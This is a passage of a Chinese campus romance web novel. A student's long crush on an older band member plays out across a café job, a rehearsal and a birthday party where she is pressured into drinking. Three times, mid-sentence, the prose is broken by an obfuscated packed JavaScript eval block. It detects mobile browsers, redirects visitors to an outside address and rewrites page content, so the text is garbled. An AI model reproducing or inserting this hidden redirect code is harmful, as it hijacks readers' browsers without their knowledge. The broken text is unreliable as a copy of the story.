时至今日,她还会在脑海中想着,如果少年的身影没有在巷口出现,她的生活是不是会永坠泥潭,万劫不复。 好在,命运在人生重要的拐点,终于眷顾了她一次。 两人加上联系方式之后,李茉曾经无数次点进他的空间,一条条浏览着他的动态,从零零散散的碎片中拼凑出一个完整的他。 他去过香港交流,能说一口流利的粤语,头像是去冰岛旅行时一瞬间捕捉到的极光,而且,他还有一支名为fearX的乐队,有一群志同道合的挚友。 他是那样美好,是高悬于天边、她永远都抓不住的月亮。 李茉那时候比现在要胆小内向得多,可她太想靠近那束光,于是某一天,她假装练琴遇到瓶颈,在□□上找他请教了一个技术问题。 消息发出的时候她的手都在颤,心都快要跳出嗓子眼,本以为他根本不会回复,没想到男生不仅回复了,还专门录了视频给她解答困惑。 他的声音没有现在烟酒浸泡的嘶哑,声线平和偏温柔,尾音微微上扬,听得出独属于少年的意气风发。 【我好像明白了,谢谢你。】李茉这样回复道。 本以为两人的第一次聊天就这样告一段落,可半分钟后,男生又给她发了条消息: 【你是明高的么?几年级几班的?我忘了怎么加你的了,也没给你设备注。】 看来,他已经把在暗巷里发生的那一段往事给忘记了,也不记得她是谁了。 纤细白嫩的手指敲击着屏幕,李茉在对话框里打出了一段话,又一点点删除。 那条消息,她最终没有回复。 出于强烈的自尊心,李茉并不想让男生想起暗巷里发生的那段过往。 如果两人还有重新见面的机会,她希望能用一个全新的身份,正大光明地和他成为朋友。 至于暗巷里的那段往事,就深埋在彼此记忆深处吧。 男生没得到她的回复也不在意,之后,他没再发消息过来,李茉也没敢再发消息给他,两人就这样静静躺在彼此的列表里。 李茉后来才想明白,他这样的男生,不知道惊艳过多少女生的青春。像她这样加上他的□□、费尽心思绞尽脑汁找话题的人肯定不在少数,所以他根本不在意她的名字。 她在他眼里,或许只是个面容模糊的暗恋者。 李茉上高二的那一年,男生几乎一整年都没在空间里发过动态,直到那年的7月,他在空间里发了一张S大录取通知书的照片。 通知书上那个名字,李茉看了好多遍。 她这才知道,男生的名字叫周辰纬,他比她大一届,即将成为S大计算机学院的一名大一新生。 暑假结束后,李茉升入高三。高三开学的誓师大会上,班主任给每个人都发了一张意向征集表,征集表上有两个问题。 1.你最想考入哪所大学? 2.为什么喜欢这所大学? 第一个问题,李茉毫不犹豫地填了S大。第二个问题,她没有在纸面上作答。 口袋里揣着两颗水果糖,那个卑弱的、怯懦的少女也有了追逐美好的勇气。 你是我青春里唯一的座右铭,那些挑灯夜读的夜晚,我心里想的全部都是你。 周辰纬,无论前路多么坎坷,我都会,毫不犹豫地,奔你而来。 17. 温柔 四人约会结束后,周辰纬在火锅店门口打了辆车,直接回到了市中心的家里。 他不喜欢衣服上沾着的火锅的味道,把穿的衣服全丢洗衣机后,就冲去浴室洗了个澡。 这套房子有管家打扫,房间的洗浴用品都是管家给换的。刚把沐浴露擦到身上,周辰纬就闻见了一股很浓郁的橙花香气。 这股浓郁的熟悉气味,让他瞬间就想到了一个人。 李茉用的沐浴露和他是同款,他皮肤上也带上了和她一模一样的香气。 周辰纬想起她珍珠似的白嫩耳垂、浑圆漂亮的肩膀和那双清泠泠的含水杏眼,身体某个地方不由得一紧。 这个澡洗了很长时间,一直到他微微缺氧的时候,他才裹着浴袍走出浴室。 周辰纬觉得自己像个畜生,对不怎么熟悉的乖乖巧巧的小学妹都能起反应。 吹干头发后,周辰纬习惯性地看了眼手机,屏幕上有一条靳泽半小时前发来的消息:【周少,今晚老地方,来不来?】 【来。】周辰纬只回了一个字过去。 回完消息后,周辰纬想了一下,还是点进了和李茉的对话框。 两人上一次聊天还是三天前的事了,李茉找他请教了一个弹琴的技术问题,他解答完之后,李茉给他发了个说谢谢的兔子表情包。 周辰纬盯着屏幕看了几秒,最后给手机锁了屏。他戴上银质的古巴项链,轻车熟路地开车去了位于岁宁街街心的‘造作’。 造作是一家装潢豪奢的会所,也是北禾著名的销金窟,多用于商务人士的宴请,也是少数富二代经常寻欢作乐的场所。 周辰纬穿的是件黑色t恤,出门前套了件夹克,脖子上戴着金属质地的银项链,眉眼年轻桀骜,与周围一群西装革履的精英人士有明显的区别。 周辰纬刚走进造作,当班经理就殷勤迎了上来,把他带到包厢。 靳泽正抽着烟,见他过来,吐出口烟雾:“话说,你这都多久没谈了啊?难不成你是真的很喜欢之前那个林妹妹,为了她才空窗的?” 周辰纬根本懒得理他,两条长腿大剌剌交叠着,肆意又痞气地往他脸上吐了口烟圈:“没喜欢的就不谈呗。” “没喜欢的?”靳泽坏笑起来:“今晚的妹子都很正,你不可能不喜欢。” 周辰纬是那种仍在人堆里,都能让人一眼辨识出来的帅气。他入座没多久,就有女生凑过来想加个联系方式。 过了会儿,费开阳凑了过来,挑起个话头:“还记得我上次带来买琴的李茉学妹吗?人可是个大学霸。” “你怎么知道?”周辰纬漫不经心地问了句。 “他们大一新生不是要上一门刑法课吗?我是他们刑法课的助教,”这门课的教授是出了名的出题难给分低。”费开阳说得眉飞色舞:“前阵子教授组织了一场期中考试,全院平均分还不到七十五,而她考了接近满分。” “这么厉害吗?”靳泽惊呼一声,眼神兴奋:“那我对她有点感兴趣了。” 周辰纬下意识皱了皱眉,觑他一眼,并没接话。 就算别人不知道靳泽私底下是个什么货色,和他好得能穿一条裤子的周辰纬却一清二楚。 靳泽做朋友没话说,做男朋友真的不及格。 周辰纬抬手摩挲着下巴,眼神看向一旁的靳泽,玩味地说:“阿泽,放弃吧。你追不到她,我说的。” “那我和你打个赌?”靳泽眯了眯眼:“就赌我一个月内能不能把她拿下。” “不赌,”周辰纬语气不知道为什么冷了起来,充满警告的意味:“她和那些能和你玩玩的女生不一样,也别把她当赌注。” 几人正交谈时,一个长相明丽、妆容浓艳的女生凑了过来。女生是靳泽叫来的,是他朋友的朋友,来自隔壁美术学院。 女生目标明确,直接坐到了周辰纬身边。这么冷的天,她就只穿了件针织背心和短裤,像是完全不怕冷,白皙的腿露在外面,身上的香水气味一阵阵送入几人鼻端。 “周少,我在旁边待得有点无聊,要不要一起玩大话骰?输的人喝酒。”女生笑意盈盈地看向他。 “你要和他玩?妹妹,别怪我没提醒你,他要是不肯放水,你最后的结局只有横着出去。”靳泽饶有兴味地提醒道。 “我不怕。”女生又笑了,扬了扬精致的下巴。 女生其实是见过周辰纬的,在之前参加过的一次聚会上。 那时候周辰纬身边是有女朋友的,她看着他搂着怀里的女孩、笑得八风不动的样子,心神好像一瞬间被什么击中了。 女生听说过周辰纬花心浪荡的名声,也在心里无数次盼望过他身边能再次空出位置,而现在,机会来了。 “可以。”周辰纬似笑非笑地看了她一眼。 女生和周辰纬玩了几局,结果正如靳泽说的那样,每一局输的都是她。 周辰纬似乎很擅长玩这类游戏,总是一眼就看穿她的思路和举动。两局过后,她就知道自己完全不是对手。 喝了几杯酒之后,女生的脸颊已被酒精晕染成红色,她不由得软了身子,往周辰纬的方向靠了靠,眼看着就要倒在他怀中。 就在这时,一只冷白劲瘦的手扶住她的胳膊,不动声色地推开了她。 “你喝多了,别玩了。”周辰纬看着她说,语气不冷不热。 女生嘟起嘴,抬头和他对视。 她有双很漂亮的眼睛,也知道利用自己的优势。眼妆化得极其精致,水波潋滟,看他的眼神眩晕又陶醉,充满了意乱情迷的意味。 周辰纬表情冷淡地和她对视。不知道为什么,那一瞬,他脑海中最先出现的,竟是李茉那双水汽氤氲的眼睛。 他漫不经心地呼出口白烟,给手机解了锁,点进李茉的朋友圈。 - 李茉最近都没有在朋友圈发过动态,自从蒋惠娟给她打过电话后,她就积极地在找兼职。 有相熟的学姐把她拉进了一个S大的学生兼职群,李茉刚进去,群里就弹出一个咖啡馆的兼职招聘消息。 咖啡馆就S大东门附近,待遇还算优厚。李茉联系上了老板,对方面试后对她很满意,就直接敲定了入职时间。 咖啡馆和家教的兼职要忙,处理法援社的事务也需要时间,李茉忙得昏头转向,费开阳数次提出要带着乐队的人出门团建,她都给拒绝了。 周六晚上,众人又一次齐聚在岁宁街的琴行,进行乐队排练。排练结束后,李茉收拾好东西打算偷偷溜走,她刚走出琴行的小院,周辰纬却忽然拦在了她面前。 周辰纬肩膀宽阔、身材高大挺拔,亘在她面前的样子,像座越不过的高山。他不说话,手里夹着一支烟,就这么静静地看她。 李茉能感受到灰白色的烟雾在她身边升腾、飘散,无形中似乎变成了有实质的囚笼,把她整个人关在里面。 最后还是李茉先打破了沉默,冷淡开口:“有事吗?” “今天晚上湘悦楼,我请客,你要来吗?”周辰纬把视线放在她身上,等着她的答案。 李茉有意无意地避开了他的目光,面露难色:“我还有份兼职要赶,可能没办法和你们一起吃饭了。” “嗯。”周辰纬不咸不淡地点了点头。 李茉走得很快,几乎算得上落荒而逃。与其让自己满心都是痛苦,还不如坦然接受现实——他喜欢的不可能是她这种类型,或许她永远都走不进他心底。 从琴行走出来的费开阳刚好看到了这一幕。李茉走后,费开阳看着她纤瘦倔强的身影,对身边的周辰纬小声感叹道:“李茉学妹真是太辛苦了。” “怎么说?”周辰纬挑了挑眉。 “上周我去学校西门那家新开的咖啡馆买喝的,刚好看到李茉学妹在那里打工。”费开阳感慨道:“她不是还有个家教的兼职吗?也不知道她家里人是怎么想的,让她一个如花似玉的小姑娘,为了钱这么辛苦。” “这样啊......”周辰纬若有所思地点了点头。 周辰纬其实察觉到了李茉最近对自己的冷淡。小姑娘看着绵软,其实也是个有脾气的。他都对她那么凶了,她生气也是正常的。 他得想个办法把人哄好才行。 周末,李茉照常来咖啡店上班。她没有做咖啡的经验,现在只能做些擦洗餐具、端盘收盘之类的工作。 北禾快进入冬天了,这才下午六点,天边就出现了玫瑰色的夕阳,几分钟后,天色黑了下来,整座城市逐渐被夜色笼罩。 兼职的咖啡师叫姓陈,是隔壁理工学院的一个女生。下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351460|199613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 午六点,店里没什么人了,趁老板不在,小陈凑到她耳边,悄悄抱怨道:“虽然兼职的工资还挺高,但这活儿真不是人干的,我手已经酸得不像自己的了。” 李茉的工作已经完成,她正在看书,闻言,李茉对她莞尔一笑:“剩下的这几杯外卖,我帮你做吧。” 小陈有些犹豫:“可是这几杯很难做诶,步骤很多,做得不好被投诉了怎么办?” “我已经看会了。”李茉声线淡然,旋即动作娴熟地开始磨粉、萃取。 小陈看了一会儿,冲她竖起大拇指:“不愧是纯凭文化课就考上S大的女人,学习能力也太强了吧。” 两人正聊着天,忽地,咖啡厅的门被推开,走进来一对颜值很高的年轻男女。 女生穿oversize的毛衣,露出笔直的腿,身上披了一件男生的黑色冲锋衣;男生穿的是件黑色的高领毛衣,轮廓流畅,搭配上挺鼻薄唇的出色五官,是帅气到有攻击性的长相。 枯燥的工作中难得有帅哥看,小陈笑得露出了八颗牙:“欢迎光临,请问喝些什么?” “瑰夏。”是周辰纬的声音。 “那我要一杯热可可吧。”郑玉芝紧跟着说道,点完单后,她不经意瞥见了柜台前的李茉。 思考了两秒后,郑玉芝还是主动打了个招呼。李茉勉强对她笑了笑,就把头埋在了咖啡机后面。 “一共66元,请问怎么支付?”小陈对着他们亮出了店里的收款码。 “我来吧,”郑玉芝抢着付了款,声音娇娇嗲嗲:“你好不容易约我出来一次,这杯咖啡我请你。” 周辰纬似笑非笑地看了她一眼,直接找了个靠近柜台的位置坐下。 小陈看着对坐的男女,一脸艳羡地在李茉耳边嘀咕:“这个男生真的极品,是你们S大的吗?啧,他的衣服鞋子虽然都没有显眼logo,不过都是最新的秀款,每一样都不便宜。” “旁边女生都快被他迷死了,从进店开始嘴角就一直上翘。”小陈继续碎碎念:“哎,老天什么时候也赐我一个这样的男朋友。” 李茉默默地做着两人点的咖啡,她手上的动作没停,眼睛却控制不住地一直往他们的方向看。 周辰纬无论在哪里出现,都能轻易攫取周围人的目光。没多久,就有一个长相甜美的女生走了过来,笑吟吟掏出手机,想加周辰纬微信。 只是,他还没来得及开口,郑玉芝就对女生说了几句话,一副宣示主权的姿态。 甜美女生见状也没多纠缠,转身就潇洒离开。 他们这是......在一起了吗? 李茉又看了两眼郑玉芝身上的男款外套,只觉得眼眶有些发酸。她做好咖啡后,拜托小陈把托盘送了过去。 为了阻止自己继续胡思乱想,李茉直接去了收银台,整理起了当天的账目。 时间过得很快,她刚把账目整理完,下班时间就到了。 收银台旁的玻璃窗开着,萧瑟的晚风一阵一阵吹进来,李茉忍不住打了个寒颤。 她吸了吸鼻子,把外套拢紧了一些,就环顾起了店里的状况。 店里只剩下一张桌子前还有客人,郑玉芝不知道什么时候离开了,周辰纬还没走。 他面前的瑰夏已经喝完了,李茉想了一下,还是走上前提醒道:“你好,我们店打烊了,请明天再来吧。” 周辰纬身上萦绕着淡淡的、她很熟悉的烟草味,听见她的声音,他抬起头和她对视,李茉猝不及防撞上了一双含笑的眼睛。 周辰纬狭长漆黑的眼眸里流露出几分意味不明的情绪,他眉眼带笑,挑着眉问她:“不好奇我和她说了什么吗?” 李茉的心脏怦怦直跳,不得不承认,周辰纬真是个拿捏暧昧氛围的高手,随随便便的一句问话,听在她耳朵里,都像是撩拨。 她不知道这话该怎么接,索性咬了咬唇,不让自己说出一句话来。 “我刚才和她说,我答应乐队在校庆晚会上表演了。”周辰纬在李茉惊诧的目光中勾唇,那双惯常狭长冷漠的眸子像盛了一汪悠悠春水,里面竟罕见地有了一丝温柔。 他靠得离她又近了一点,几乎是附在她耳边叮嘱道:“晚会的特定奖有六千块的奖金,为了我们的特等奖,明天琴行排练,你记得来。” 18. 橙花 北禾的天黑得越来越早,两人走出咖啡店时,夜色已经深得像化不开的墨。 李茉刚锁好店门,一阵萧瑟晚风就吹了过来,她的外套太薄,冷风钻进身体里,她不由得打了个冷颤。 “在这里等我一下。”周辰纬对她说。 他按了一下手里的车钥匙,不远处一辆轿跑的车门应声打开。周辰纬从里面拿出一件外套,不怎么温柔地披在她身上。 李茉看了一眼,她身上的也是件黑色的冲锋衣,和郑玉芝穿的那一件一模一样,同品牌的相同款式。 “你这件外套......不是被穿走了吗?”李茉想了一下,还是忍不住问了出来。 “被谁穿走了?”周辰纬拧着眉想了一下,终于知道李茉在说什么了。 刚才郑玉芝一出来,他就发现了她身上那件和自己同款的外套。 听郑玉芝说,刚才她在食堂里被人不小心泼了一碗粥,罪魁祸首是个大三的学长。那学长把她的外套拿走干洗了,只能把自己的外套借给了她。 “郑玉芝身上那件外套不是我给的,”周辰纬看着李茉皎白得近乎透明的皮肤,无奈解释:“我的外套一直放在车里,没动过。” “这样啊......”李茉的心忽然跳得很快。 周辰纬的外套带着他身上独有的味道,辛辣的烟草和清冽的雪松气味交融着,一阵阵地往她皮肤里钻。 当天晚上,李茉回到宿舍后洗了个澡,她打了很多沐浴露,全身上下都充盈着浓郁的橙花香。 可即便是这样,挥之不去的烟草和雪松的气味依然萦绕在她鼻间。 她像是枕着一款名为暗恋的香水入眠,接连做了好几个光怪陆离的梦。 次日晚上,李茉从咖啡店出来后,打了辆车去了岁宁街的琴行。 排练结束,李茉正要回学校时,靳泽却忽然拦住了她。 “李茉妹妹,你后天晚上有晚课吗?”靳泽看着她问。 李茉回忆了一遍课表:“没有。” “我后天过生日,在造作组了个局,你也来吧?”靳泽觑着她神色,游说道:“放心,局上还有好几个女生,结束后让周辰纬送你回去,你看可以吗?” “你生日?”李茉想了一下,小声说:“时间太急了,可能来不及准备你的礼物。” “你人到了就好。”靳泽温声说。 既然靳泽诚心相邀,李茉还是循着他给的地址,拿着礼物去了造作。 她到楼下时,靳泽已经在下面等着了,他一路把她引到包厢。 包厢正中央桌子上放了个装饰华美繁复的超大生日蛋糕,里面已经有不少人了。 靳泽在一堆人的祝福中许完愿后就开始切蛋糕,他把其中一块亲自递到李茉面前,李茉接过吃了一口,把准备好的礼物交给了他。 她记得几次去岁宁街,都能看见琴行的小院子里停了一辆碳黑色的机车,刚好逛街的时候看到了同款的模型,她就买了下来。 靳泽满怀期待地拆开包装,看见那辆碳黑色摩托车模型后脸色僵了一下。但他也是个在社交场中如鱼得水的人,尴尬只维持了一瞬,就露出一个大大的笑容:“谢谢,我很喜欢。” 包厢门被推开,是周辰纬到了。 他来得比约好的时间晚了二十分钟,几个朋友于是起哄着让他喝酒。 周辰纬自知逃不过,开了瓶啤的直接一气呵成地对瓶吹干。 不知道是不是李茉的错觉,他在喝酒的时候,似乎往她的方向深深看了一眼。 周辰纬吹瓶后就直接坐到了靳泽的另一边,李茉控制着自己不去看他,低着头沉默地喝水。 一开始她能感受到他投过来的几道视线,但随着周辰纬加入了几个男生的牌局,之后他再也没看她一眼。 周辰纬打牌是老手了,他是真的用脑子在算牌记牌,每张牌似乎都在他的计算中,打了几圈,他面前的筹码越堆越多。 又一轮结束,又是周辰纬赢。这时,靳泽叫了停:“我们不玩牌了,换个玩法怎么样?大话骰都会吧?” “我不会。”李茉面露难色。 “没事,我教你。”靳泽安抚性地拍了拍她的手。 周辰纬看了她一眼,散漫开口:“阿泽,你这儿的酒都是烈酒,你确定女生能喝?” 靳泽看了李茉一眼,打包票:“她的酒我替她喝,放心,我不会让李茉妹妹沾一滴酒。” 包间里的几个都是靳泽的朋友,一群人说话没个遮拦,其中一个男生看着乖乖巧巧的李茉,忍不住起了逗弄的心思:“阿泽,这是你新女朋友?长得不错啊,清纯挂的,和之前那些浓妆艳抹的可不一样。” “是啊,这脸,这身材,得是哪个学校的校花吧?真是瞎了狗眼才看上你。说说,怎么泡到的?”另个男生也接过话茬。 靳泽挑了挑眉,刚想开口否认和李茉的关系,忽地,大理石桌面爆发出一声脆响。 众人抬眼一看,原来是周辰纬把整杯酒一饮而尽,用力把酒瓶扣在了桌上。 周辰纬好看的眉毛紧紧拧着,表情越来越冷,浑身上下都透着股不爽的劲儿。众人见他气压过低,齐齐噤了声,没人再敢开过分的玩笑。 中途,有个男生看向周辰纬,笑容谄媚:“周少,我记得你生日也快到了?” “是啊,”靳泽插话:“他生日是11月9日,就在半个月后。” “生日去哪儿过?”男生问:“MT还是造作?” “再说吧。”他修长的手指抓着骰盅,兴致缺缺。 中途周辰纬有事出去了一趟,李茉看着他的背影,眼神怅然又无奈。 靳泽顺着她的眼神望去,心里不由得咯噔了一下。 他谈过那么多任女朋友,算是万花丛中过,最会揣摩女生的心思,李茉面对周辰纬时那复杂的眼神,他看得懂。 李茉绝对,绝对是喜欢周辰纬的。 其实靳泽对李茉顶多是有点朦胧的好感,追不上他也不会介意,但喜欢的女生再一次喜欢上了身边的兄弟,这种感觉还是让他很不爽。 论起家世,靳泽家里世代扎根北禾,肯定是比周辰纬家这种暴发户强上不少,但靳泽每次只要和周辰纬同时出现,女生的目光都像追踪仪一样,总是停驻在周辰纬身上。 靳泽看上的女生,无一例外总是会喜欢上周辰纬,这种事一而再再而三地发生,把他也搞得有点烦了。 又一轮游戏,李茉叫号时多叫了一个数字,被于瀚给开了。 按惩罚规则,被开的人要喝一整杯酒,见状,靳泽给自己的杯子里倒满了酒,一口气喝了个干净,算是替她接受了惩罚。 “谢谢你,靳泽。”李茉看着他说道。 “嗯,不用谢,我有事出去一趟,你自己小心点,别被人开了。”靳泽勉强笑了一下。 “造作”占地面积很大,里面像个迷宫一样,走廊很长,靳泽一直走到走廊的尽头,才看见了正对着一扇窗户闲闲抽烟的周辰纬。 “你怎么出来了?还没和你说,生日快乐。”周辰纬递了个盒子给他。 靳泽接过一直想要的礼物,表情却没有想象中的开心,反而嘟囔了句:“我现在挺不快乐的。” “怎么?”周辰纬闲闲地抽着烟,看了他一眼,笑容了然:“碰壁了?我早说过,你追不到她的。” “人家也不喜欢我,”靳泽也点了根烟放进嘴里,看着周辰纬意有所指地说:“她喜欢的呢......另有其人。” “谁?”周辰纬掐了烟。 “就不告诉你,你自己猜。”靳泽说。 周辰纬踹了他一脚:“人女孩是你请过来的,你现在自己跑出来,就没想过她在里面怎么办?” 他话音刚落下,就急匆匆地往包间的方向赶。靳泽看着他匆忙离去的背影,心里郁闷,把窗户开得更大了点。 - 靳泽出门没多久,于瀚就叼着根烟坐到李茉身边,搭话道:“你叫李茉,是吧。你是哪儿人?” 李茉低下头,尽量不让眼底的厌恶之色表露得太明显,她觉得于瀚这样的男生下流又没品,却还是恪守着基本的礼貌,回道:“南宜。” “南宜?”于瀚像是想起了什么,露出个轻佻下流的笑容:“那是个好地方,你们那儿的妹子都水灵,我认识一个你南宜的老乡,改天介绍你们认识?” “谢谢,但我不是太感兴趣。”李茉冷淡地说。 于瀚玩这种游戏虽然比不过周辰纬,欺负李茉这种纯新手也够用了,且他在李茉上家,每次都把数字卡得很死,轮到李茉就只能被开。 几轮游戏下来,李茉被灌了不少酒,意识也有点涣散起来,看东西都带上了重影。她想找个借口先离开这里,于瀚却不同意,伙同几个狐朋狗友把她按在了座位上。 周辰纬一回来就看到这幅景象,李茉脸颊已经浮上一层粉色,耳朵和眼睛都红红的,像只可怜的兔子,而于瀚坐在她身边,笑容得意,眼里的垂涎之色越来越浓。 “妹妹,在这养鱼呢?”又一轮游戏结束,于瀚不由分说地把她的杯子满上:“你还欠了两杯,今儿不给我全喝了,就别想走。” 戾气在周辰纬的眉心一闪而过,他走了过去,拿过李茉的杯子一饮而尽。 “欺负新手就没意思了吧?不如我陪你玩玩?” “我看普通的啤酒对你也没作用,”周辰纬很轻地勾起唇,脸上明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351461|199613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明在笑,目光却是杀人不见血的锋利:“不如,我们用洋酒玩,怎么样?” 于瀚原本有些犹豫,他是知道的,周辰纬的脑子太好使,玩这类游戏就从没输过。 但不知道是不是酒精作祟,在周辰纬挑衅意味十足的目光下,他气性也被激了出来,还是点头答应了。 两人玩的是1V1,于瀚先手。 既然是一把定生死的局,于瀚是使尽了浑身解数来摇骰的,就盼着幸运女神能眷顾他这边。 实际上他的运气也的确不错,摇出来了3个1和2个2,按照大话骰的规则,他这是摇出了6个2. 看着手里的豹子号,于瀚也有了底气,试探性地叫了4个1。 “8个2。”周辰纬依旧是那副懒洋洋的倦怠模样, 于瀚看着手里的6个2,想都没想就直接跟了:“9个2。” “看来你很有底气嘛,”周辰纬修长如玉的手指在桌面上轻点着,“10个1。” “开你!”于瀚激动得直接站了起来,高声叫喊着。 10个1,这种数字也敢叫,周辰纬怕不是疯了? 于瀚自己只有3个1,想要两个骰盅的数字想达成10个1,周辰纬必须摇出来1的豹子号。 所谓的豹子号,就是骰盅里的5个数字必须是清一色的1,出现的概率极低,堪比火星撞地球的概率。 周辰纬挑了挑眉:“是吗?你确定要开我?” 于瀚本能地感到有些害怕,周辰纬此时的目光充满了挑衅和侵略性,像是一只蛰伏在暗处的猛兽,正冰冷冷地窥视着他,做着狩猎前的最后准备。 “确定,开你。”于瀚给自己鼓了鼓劲,努力露出一个胸有成竹的笑容。 他迫不及待地揭开周辰纬的骰盅,却讶然发现,里面躺了五个清一色的1,这种骰型被叫做纯豹子,纯豹子号的确是按7个来算的。 于瀚跌坐在沙发上,心里不知道是什么滋味,他又一次输给了周辰纬。 周辰纬开了瓶马爹利,怼到于瀚眼前,冷笑着把于瀚刚才说的话原样复述了一遍: “不是爱欺负小姑娘?今儿不给我全喝了,就别想走。” 于瀚吹了瓶之后,周辰纬没再看他一眼,而是径直走到了李茉身边。 李茉正半躺在沙发上休息,由于于瀚给她灌了不少烈性的洋酒,就她那个酒量,根本就受不了。 周辰纬拍了她两下,可她始终没有反应。双眼紧闭,秀气的眉毛紧紧皱着,看起来已经进入了深眠。 她的皮肤本就是近乎透明的白,这会儿腮边被醉意晕上两团酡红,几缕碎发黏在脸颊上,更显得天真纤弱。 “......真是麻烦。”周辰纬在心里低低叹了一声。 他只能试着抱起她。 李茉看着纤瘦,事实上也确实很轻,抱在手上费不了什么力气,轻得就像一片羽毛。她的头发拂过他的手臂,触感有些痒。 周辰纬不动声色地把她的头发拢了拢,今晚被起哄着喝了不少酒,所以他叫了个代驾。 附近有不少代驾在蹲单,过了也就五分钟,一个约莫三十来岁的男人赶了过来。 周辰纬把车钥匙扔了过去,代驾接过来一看,咧开嘴笑了:“C63?这车也得200万了吧,怪不得这么正点的妞儿,两杯酒下肚就乖乖跟你走。” 周辰纬没接茬,把李茉弄上后座之后,他也跟着坐了进去。 两人挨得很近,少女身上洗衣液浅淡的橙花香一点点送进他鼻端,周辰纬的喉咙忽然痒了一下。 他觉得有点渴,喉咙又痒又干,心脏好像不由自己控制般重重跳了一下。这种感觉让他莫名地有些烦躁,索性一把拉开了他这一侧的车窗。 代驾从后视镜觑着他的神色,“对了,帅哥,还没问你要去哪儿?” S大的宿舍有门禁,这个点已经进不去了。宿舍楼只有宿管阿姨有钥匙,但这个点,她肯定是睡了。 周辰纬看着李茉安静的睡颜,思考了两秒做了决定:“去明城花苑吧。” 明城花苑是陈尚恩在校外租住的小区。刚认识没多久,周辰纬不敢把李茉直接往家里带,只能把她送到女性朋友那里。 在酒精的作用下,李茉睡得很香,而且完全失去了意识。车子经过一处转弯时,在向心力的驱使下,她的身子迅速向一边歪,头磕到了玻璃上,发出一声重重的闷响。 周辰纬抬起漆黑的眸子,朝她那里看去。 她睡得实在太沉,脑袋被撞了个包也没有要醒过来的意思,只是不满地嘟囔了句,骂骂咧咧地又睡了过去。 周辰纬很轻地笑了下,扶着她的肩膀,把她的脑袋揽在了自己肩上。 19. 奇怪 二十分钟后,代驾就把车开到了明城花苑。 明城花苑就在cbd附近,是个没电梯的老小区,最大的优点也就是租金便宜。周辰纬抱着李茉上了六楼,敲响了六楼其中一户的房门。 陈尚恩开门时看到软软靠在周辰纬怀里的李茉,不由得瞠目结舌:“她怎么醉得这么厉害?” “靳泽过生日,她被灌了点酒,喝多了。”周辰纬简单解释道,把怀里的少女放在了沙发上。 李茉手机就放在身边,是个老款的智能机,没有密码锁。 周辰纬拿起一看,一个备注名叫张李贝的联系人给她发了不少短信,都是问她去了哪里、要不要回宿舍之类的。 见她一直没回,对方耐心耗尽,索性拨了个电话过来。 周辰纬把手机递到陈尚恩面前:“你来接。” 陈尚恩回了个“我懂”的表情,按下接听键。 电话刚接通,一道有些焦急的女声就从另一端传来:“茉茉,你怎么还不回来?刚才宿管阿姨来查寝了,我替你遮掩过去了。” “你好,我们乐队今晚聚餐,她喝多了现在正睡着,今晚就不回了。”陈尚恩说。 小贝迟疑了一下:“请问你是——” “我叫陈尚恩,法学院14级的,她乐队的贝斯手。” 陈尚恩这个名字,小贝确实在宿舍里听李茉讲过几次,她松了口气,又嘱咐道:“学姐,明天我们有早八,麻烦你叫她一下。这堂课的老师说了迟到三次要挂科。” “好的,我会的。”陈尚恩挂了电话。 “算了,”周辰纬看了眼沙发上那个乖乖巧巧的身影:“明天我来接她,你和她说一声。” 周辰纬把李茉送到陈尚恩这里之后也没回常住的家里,而是去了附近的一个叫御珑府的楼盘。 御珑府刚开盘的时候,他母亲言子扬就买了套江景视野极佳的大平层,并在周辰纬过生日时把这处不动产作为礼物送给了他。 周辰纬洗了个澡就上了床,好不容易迷迷糊糊睡着,却被一阵手机铃声吵醒。 他有些烦躁地啧了一声,捞过手机一看,屏幕上显示的时间是凌晨三点半。 电话是靳泽打来的。靳泽那边似乎是刚散场,语调里还带着醉意:“今晚怎么样?” 周辰纬皱了皱眉:“什么怎么样?” “我抽完烟准备回去的时候,看见你把李茉妹妹带回家了,”靳泽笑了笑,话里带着试探:“怎么,你不会睡过人家之后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351462|199613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就不认帐吧?” 周辰纬声音骤然一冷:“别乱说,我把她送到陈尚恩那里去了。” “行行行,不开这个玩笑了好吧,”靳泽听出来他情绪的变化,赶紧滑跪:“不过,你对李茉妹妹是不是有点感觉?没见过你对别人有这么热心肠啊。” 周辰纬答得很快,几乎是不假思索就脱口而出:“不会。她不是我喜欢的类型。” 挂断电话后,仅有的一点可怜的睡意也被驱散,周辰纬翻身下了床,去家里的露台抽了支烟。 凌晨三点,天地间一片寂静,只能听得见自己的心跳声。周辰纬吐出一口烟雾,在烟雾迷蒙间,静静地回想着靳泽的话。 周辰纬其实并不喜欢李茉这种类型,迄今为止,他谈过的几段恋爱,都是因为需要人陪。 